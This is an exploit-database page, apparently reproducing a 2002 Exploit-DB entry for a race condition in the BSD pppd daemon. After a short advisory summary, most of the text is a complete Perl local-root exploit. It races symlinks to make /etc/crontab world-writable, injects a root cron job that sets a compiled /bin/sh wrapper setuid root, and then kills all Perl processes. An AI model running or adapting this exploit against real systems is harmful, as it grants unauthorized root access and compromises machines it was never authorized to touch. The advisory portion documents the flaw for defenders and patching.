header-logo
Suggest Exploit
vendor:
pppd Daemon
by:
Sebastian Krahmer
7.2
CVSS
HIGH
Race Condition Error
362
CWE
Product Name: pppd Daemon
Affected Version From: OpenBSD 3.0
Affected Version To: OpenBSD 3.1
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: AnyBSD
2002

Race Condition Error in pppd Daemon

A race condition error in the code of some versions of the pppd daemon included with multiple BSD distributions may result in the pppd process changing the file permissions on an arbitrary system file. The vulnerability has been reported in OpenBSD versions 3.0 and 3.1, and earlier versions of OpenBSD may share this vulnerability.

Mitigation:

Ensure that the pppd daemon is up to date and running the latest version.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/5355/info

A vulnerability has been reported in some versions of the pppd daemon included with multiple BSD distributions.

A race condition error in the code may result in the pppd process changing the file permissions on an arbitrary system file. pppd will generally run as a privileged user.

This issue has been reported in OpenBSD versions 3.0 and 3.1. Earlier versions of OpenBSD may share this vulnerability, this has not however been confirmed. 

#!/usr/bin/perl

# Local root exploit for AnyBSD. Tested on my 4.3 FBSD homebox.
#
# (C) 2002 Sebastian Krahmer -- stealth at segfault dot net ;-))
#
# NOT for abuse but for educational purposes only.
#
# Exploit description:
#
# The BSD pppd allows users to open any file even if its root owned.
# It then tries to set apropriate terminal attributes on the filedescriptor
# if a connection-script is given. As if it isn't bad enough that it allows
# you to open roots console for example it also has a race: If the tcgetattr()
# fails it calls some cleanup routines which use chown() to restore the mode
# of the terminal (at least it ASSUMES it is an terminal). It should rather use
# the tty_fd to restore the mode because between open() and tcgetattr failure+chown()
# we link the file to /etc/crontab which will then have the mode of the former file
# (which is probably 0666 :)

# Some code snippets.
#
# The vulnerable open():
# ...
#        /*
#         * Open the serial device and set it up to be the ppp interface.
#         * First we open it in non-blocking mode so we can set the
#         * various termios flags appropriately.  If we aren't dialling
#         * out and we want to use the modem lines, we reopen it later
#         * in order to wait for the carrier detect signal from the modem.
#         */
#       while ((ttyfd = open(devnam, O_NONBLOCK | O_RDWR, 0)) < 0) {
#            if (errno != EINTR)
#                syslog(LOG_ERR, "Failed to open %s: %m", devnam);
#            if (!persist || errno != EINTR)
#                goto fail;
#       }
# ...
# close_tty() which is called during cleanup because tcgetattr() of
# the fd will fail:
#
# static void
# close_tty()
# {
#    disestablish_ppp(ttyfd);
#
#   /* drop dtr to hang up */
#    if (modem) {
#        setdtr(ttyfd, FALSE);
#        /*
#         * This sleep is in case the serial port has CLOCAL set by default,
#         * and consequently will reassert DTR when we close the device.
#         */
#        sleep(1);
#    }
#
#    restore_tty(ttyfd);
#
#    if (tty_mode != (mode_t) -1)
#        chmod(devnam, tty_mode);
#
#    close(ttyfd);
#    ttyfd = -1;
# }
#
# The chmod() bangs.
# Fix suggestion: use fchmod() instead of chmod() and do not allow
# users to open root owned files.



# ok, standard init ...
umask 0;

chdir("$ENV{HOME}");
system("cp /etc/crontab /tmp/crontab");

# create evil .ppprc to catch right execution path in pppd
open O, ">.ppprc" or die $!;
print O "/dev/../tmp/ppp-device\n".
        "connect /tmp/none\n";

close O;

print "Starting ... You can safely ignore any error messages and lay back. It can take some\n".
      "minutes...\n\n";

# create a boomsh to be made +s
create_boomsh();
 
# fork off a proc which constantly creates a mode 0666
# file and a link to /etc/crontab. crontab file will "inherit"
# the mode then
if (fork() == 0) {
	play_tricks("/tmp/ppp-device");
}


# fork off own proc which inserts command into crontab file
# which is then executed as root
if (fork() == 0) {
	watch_crontab();
}

my $child;

# start pppd until race succeeds!
for (;;) {
	if (($child = fork()) == 0) {
		exec ("/usr/sbin/pppd");

	}
	wait;
	last if (((stat("/tmp/boomsh"))[2] & 04000) == 04000);
}

# ok, we have a lot of interpreters running due to fork()'s
# so kill them...
if (fork() == 0) {
	sleep(3);
	system("killall -9 perl");
}

# thats all folks! ;-)
exec("/tmp/boomsh");


###

sub create_boomsh
{
	open O, ">/tmp/boomsh.c" or die $!;
	print O "int main() { char *a[]={\"/bin/sh\", 0}; setuid(0); ".
	        "system(\"cp /tmp/crontab /etc/crontab\"); execve(*a,a,0); return 1;}\n";
	close O;
	system("cc /tmp/boomsh.c -o /tmp/boomsh");
}

sub play_tricks
{
	my $file = shift;
	for (;;) {
		unlink($file);
		open O, ">$file";
		close O;

		# On the OpenBSD box of a friend 0.01 as fixed value
		# did the trick. on my FreeBSD box 0.1 did.
		# maybe you need to play here
		select undef, undef, undef, rand 0.3;
		unlink($file);
		symlink("/etc/crontab", $file);
	}
}

sub watch_crontab
{
	for (;;) {
		open O, ">>/etc/crontab" or next;
		print "Race succeeded! Waiting for cron ...\n";
		print O "\n* * * * * root chown root /tmp/boomsh;chmod 04755 /tmp/boomsh\n"; 
		close O;
		last;
	}
	exit;	
}